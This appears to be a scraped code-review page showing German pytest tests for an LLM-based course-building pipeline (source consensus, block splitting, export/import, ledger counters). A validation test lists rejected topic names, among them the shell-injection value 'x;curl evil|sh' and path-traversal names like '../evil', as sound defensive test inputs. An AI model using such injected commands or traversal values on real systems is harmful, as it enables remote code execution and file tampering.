||||
assert befunde[0]["item"] == str(c)
|
||||
|
||||
|
||||
async def test_konsens_erhaelt_nachbelege_geprueft_und_id(monkeypatch):
|
||||
"""Neu-Konsens darf bestätigte Zeilen nicht löschen: id, geprueft-Cache und
|
||||
nachgesuchte Belege bleiben, Belege werden vereint."""
|
||||
topic, (q1, q2), ctx = _seed(art="thema", n_quellen=2)
|
||||
best = db.insert("soll", topic=topic, punkt="Alpha", status="bestaetigt",
|
||||
belege=db.j([{"quelle": q1, "zitat": "Zitat Alpha"}]),
|
||||
geprueft=db.j([q2]))
|
||||
a1 = _kandidat(topic, "Alpha", q1)
|
||||
a2 = _kandidat(topic, "Alpha", q2)
|
||||
|
||||
def judge(prompt):
|
||||
if "NACHRUNDE" in prompt:
|
||||
return []
|
||||
return [{"punkt": "Alpha", "kandidaten": [a1, a2]}]
|
||||
|
||||
monkeypatch.setitem(fake_agents._HANDLER, "Korpus-Soll-Konsens", judge)
|
||||
assert await korpus._konsens(ctx) == 1
|
||||
row = db.one("SELECT * FROM soll WHERE topic=? AND status='bestaetigt'", (topic,))
|
||||
assert row["id"] == best # id stabil (kein DELETE+INSERT)
|
||||
assert db.uj(row["geprueft"]) == [q2] # geprueft-Cache erhalten
|
||||
assert {b["quelle"] for b in db.uj(row["belege"])} == {q1, q2} # Belege-Union
|
||||
|
||||
|
||||
async def test_soll_resume_ohne_doppelkandidaten(monkeypatch, tmp_path):
|
||||
"""Abgebrochener Extraktions-Pass: der Resume darf keine Doppel-Kandidaten legen."""
|
||||
topic = topic_anlegen("resume-soll", art="uni")
|
||||
snap = tmp_path / "q.md"
|
||||
snap.write_text("Der wichtige Punkt steht hier im Text.", encoding="utf-8")
|
||||
q = db.insert("quellen", topic=topic, art="datei", titel="q",
|
||||
snapshot=str(snap), hash="h", status="neu")
|
||||
db.insert("soll", topic=topic, punkt="Der wichtige Punkt", status="kandidat",
|
||||
belege=db.j([{"quelle": q, "zitat": "Der wichtige Punkt"}]))
|
||||
ctx = llm.Kontext(run_anlegen(topic), topic, "minimax")
|
||||
ctx.ebene = "korpus"
|
||||
monkeypatch.setitem(fake_agents._HANDLER, "Korpus-Soll",
|
||||
lambda p: [{"punkt": "Der wichtige Punkt",
|
||||
"zitat": "Der wichtige Punkt steht hier"}])
|
||||
await korpus._soll_extrahieren(ctx)
|
||||
kand = db.query("SELECT id FROM soll WHERE topic=? AND status='kandidat'", (topic,))
|
||||
assert len(kand) == 1 # Leiche gelöscht, genau ein Kandidat
|
||||
|
||||
|
||||
async def test_uni_soll_leer_faellt_zu(monkeypatch, tmp_path):
|
||||
"""uni-Topic ohne bestätigten Punkt: kein Auto-Freeze, Gate blockt E1."""
|
||||
topic = topic_anlegen("unileer", art="uni")
|
||||
snap = tmp_path / "q.md"
|
||||
snap.write_text("Nur Fülltext ohne lernbaren Punkt.", encoding="utf-8")
|
||||
db.insert("quellen", topic=topic, art="datei", titel="q",
|
||||
snapshot=str(snap), hash="h", status="neu")
|
||||
ctx = llm.Kontext(run_anlegen(topic), topic, "minimax")
|
||||
ctx.ebene = "korpus"
|
||||
monkeypatch.setitem(fake_agents._HANDLER, "Korpus-Soll", lambda p: [])
|
||||
monkeypatch.setitem(fake_agents._HANDLER, "Korpus-Soll-Konsens", lambda p: [])
|
||||
await korpus.bauen(ctx)
|
||||
assert db.one("SELECT status FROM topics WHERE name=?", (topic,))["status"] == "korpus"
|
||||
assert korpus.gate(ctx) == "kein bestätigter Soll-Punkt"
|
||||
|
||||
|
||||
async def test_thema_braucht_zwei_quellen(monkeypatch):
|
||||
topic, (q1, q2), ctx = _seed(art="thema", n_quellen=2)
|
||||
x1 = _kandidat(topic, "X", q1)
|
||||
|
||||
@@ -12,6 +12,62 @@ def _atom(topic, titel, ziel_id=None, soll_id=1):
|
||||
soll_id=soll_id, ziel_id=ziel_id, braucht=db.j([]))
|
||||
|
||||
|
||||
def _baustein_groessen(topic):
|
||||
from collections import Counter
|
||||
c = Counter(a["baustein_id"] for a in struktur._atome(topic))
|
||||
return sorted(c.values())
|
||||
|
||||
|
||||
async def test_band_split_43_atome():
|
||||
"""Große Gruppe gleichverteilt splitten: jeder Baustein im Band 4–8."""
|
||||
topic = topic_anlegen("split43")
|
||||
run = run_anlegen(topic)
|
||||
soll = db.insert("soll", topic=topic, punkt="P", status="bestaetigt", belege=db.j([]))
|
||||
ziel = db.insert("lernziele", topic=topic, text="Kann P", soll_id=soll, status="aktiv")
|
||||
for i in range(43):
|
||||
_atom(topic, f"A{i}", ziel, soll)
|
||||
ctx = llm.Kontext(run, topic, "minimax")
|
||||
ctx.ebene = "struktur"
|
||||
struktur._bausteine_schneiden(ctx)
|
||||
groessen = _baustein_groessen(topic)
|
||||
assert sum(groessen) == 43
|
||||
assert all(struktur.BAUSTEIN_MIN_ATOME <= n <= struktur.BAUSTEIN_MAX_ATOME
|
||||
for n in groessen), groessen
|
||||
assert "band" not in {b["art"] for b in struktur.messen(ctx)}
|
||||
|
||||
|
||||
async def test_band_messen_konsistent_mit_schnitt():
|
||||
"""Kleine Gruppe mergt trotz Summe > MAX (Split re-balanciert) → kein band-Befund;
|
||||
eine einsame Kleingruppe ohne Level-Partner meldet ebenfalls nichts."""
|
||||
topic = topic_anlegen("bandkon")
|
||||
run = run_anlegen(topic)
|
||||
soll = db.insert("soll", topic=topic, punkt="P", status="bestaetigt", belege=db.j([]))
|
||||
z1 = db.insert("lernziele", topic=topic, text="Z1", soll_id=soll, status="aktiv")
|
||||
z2 = db.insert("lernziele", topic=topic, text="Z2", soll_id=soll, status="aktiv")
|
||||
for i in range(3):
|
||||
_atom(topic, f"K{i}", z1, soll)
|
||||
for i in range(13):
|
||||
_atom(topic, f"G{i}", z2, soll)
|
||||
ctx = llm.Kontext(run, topic, "minimax")
|
||||
ctx.ebene = "struktur"
|
||||
struktur._bausteine_schneiden(ctx)
|
||||
assert all(4 <= n <= 8 for n in _baustein_groessen(topic))
|
||||
assert "band" not in {b["art"] for b in struktur.messen(ctx)}
|
||||
|
||||
|
||||
async def test_einsame_kleingruppe_kein_band():
|
||||
topic = topic_anlegen("lone")
|
||||
run = run_anlegen(topic)
|
||||
soll = db.insert("soll", topic=topic, punkt="P", status="bestaetigt", belege=db.j([]))
|
||||
ziel = db.insert("lernziele", topic=topic, text="Z", soll_id=soll, status="aktiv")
|
||||
for i in range(2):
|
||||
_atom(topic, f"A{i}", ziel, soll)
|
||||
ctx = llm.Kontext(run, topic, "minimax")
|
||||
ctx.ebene = "struktur"
|
||||
struktur._bausteine_schneiden(ctx)
|
||||
assert "band" not in {b["art"] for b in struktur.messen(ctx)}
|
||||
|
||||
|
||||
def test_topo_ordnung():
|
||||
rang = {1: (0, 1), 2: (0, 2), 3: (0, 3)}
|
||||
# 3 braucht 1, 2 braucht 3 → 1, 3, 2
|
||||
|
||||
49
tests/test_topics.py
Normal file
49
tests/test_topics.py
Normal file
@@ -0,0 +1,49 @@
|
||||
"""Sicherheit + Infra-Kleinkram: Topic-Namen-Validierung, jsonx-Fences,
|
||||
Ledger-Timeouts, db.now-Format."""
|
||||
|
||||
import re
|
||||
|
||||
import config
|
||||
import db
|
||||
import jsonx
|
||||
import ledger
|
||||
import pytest
|
||||
import transfer
|
||||
from conftest import run_anlegen, topic_anlegen
|
||||
|
||||
|
||||
def test_topic_name_ok():
|
||||
assert config.topic_name_ok("aak")
|
||||
assert config.topic_name_ok("algo-1_test")
|
||||
assert config.topic_name_ok("Größe")
|
||||
for boese in ("..", "a/b", "x;curl evil|sh", "-flag", "", "a.b", "../x", "a b", "a\tb"):
|
||||
assert not config.topic_name_ok(boese), boese
|
||||
|
||||
|
||||
def test_import_lehnt_boesen_topic_ab():
|
||||
"""Manipulierter Export mit topic='../evil' → Abbruch vor rmtree, kein Eintrag."""
|
||||
d = {"topic": "../evil", "topics": [{"name": "../evil"}]}
|
||||
with pytest.raises(ValueError):
|
||||
transfer.importieren(d)
|
||||
assert not db.one("SELECT name FROM topics WHERE name=?", ("../evil",))
|
||||
|
||||
|
||||
def test_jsonx_findet_json_im_zweiten_fence():
|
||||
text = ("Beispiel:\n```python\nprint('hi')\n```\n"
|
||||
"Antwort:\n```json\n[{\"a\": 1}]\n```")
|
||||
assert jsonx.parse(text) == [{"a": 1}]
|
||||
|
||||
|
||||
def test_ledger_timeouts_und_parse():
|
||||
topic = topic_anlegen("led")
|
||||
run = run_anlegen(topic)
|
||||
ledger.log_call(run, ebene="e", stage="s", status="infra", meta={"err": "timeout"})
|
||||
ledger.log_call(run, ebene="e", stage="s", status="infra", meta={"err": "HTTP 429"})
|
||||
ledger.log_call(run, ebene="e", stage="s", status="parse", meta={"err": "kaputt"})
|
||||
z = ledger.kennzahlen(run)[0]
|
||||
assert z["timeouts"] == 1 # nur der echte Timeout
|
||||
assert z["fehler"] == 3 # infra(2) + parse(1)
|
||||
|
||||
|
||||
def test_db_now_ist_zeitstempel():
|
||||
assert re.match(r"^\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}$", db.now())
|
||||
@@ -49,3 +49,26 @@ async def test_export_import_roundtrip():
|
||||
for feld in ("text_lang", "text_kompakt"):
|
||||
for m in re.findall(r"<!--\s*atom:\s*(\d+)\s*\|", s[feld] or ""):
|
||||
assert int(m) in atom_ids, f"toter Marker {m}"
|
||||
|
||||
|
||||
async def test_import_remappt_befunde_atom_ids():
|
||||
"""Offene Fix-Aufträge nennen Atom-IDs im Klartext — nach Import müssen sie
|
||||
auf die neu vergebenen IDs zeigen, nicht auf tote."""
|
||||
topic = topic_anlegen("befunde-remap", art="thema")
|
||||
pipeline.lauf_starten(topic)
|
||||
await pipeline._laeufe[topic]
|
||||
b = db.one("SELECT * FROM bausteine WHERE topic=? LIMIT 1", (topic,))
|
||||
a = db.one("SELECT id FROM atome WHERE baustein_id=?", (b["id"],))
|
||||
db.update("sections", "baustein_id", b["id"],
|
||||
befunde=db.j([f"KRITISCH: Marker für Atom {a['id']} fehlt — exakt einfügen."]))
|
||||
d = json.loads(json.dumps(transfer.export(topic)))
|
||||
transfer.importieren(d)
|
||||
atom_ids = {r["id"] for r in db.query("SELECT id FROM atome WHERE topic=?", (topic,))}
|
||||
treffer = 0
|
||||
for s in db.query("SELECT s.befunde FROM sections s JOIN bausteine b ON b.id=s.baustein_id"
|
||||
" WHERE b.topic=?", (topic,)):
|
||||
for auftrag in db.uj(s["befunde"]):
|
||||
for m in re.findall(r"Atom (\d+)", str(auftrag)):
|
||||
assert int(m) in atom_ids, f"toter Befund-Marker {m}"
|
||||
treffer += 1
|
||||
assert treffer >= 1 # der eingefügte Auftrag wurde geprüft
|
||||
|
||||
Reference in New Issue
Block a user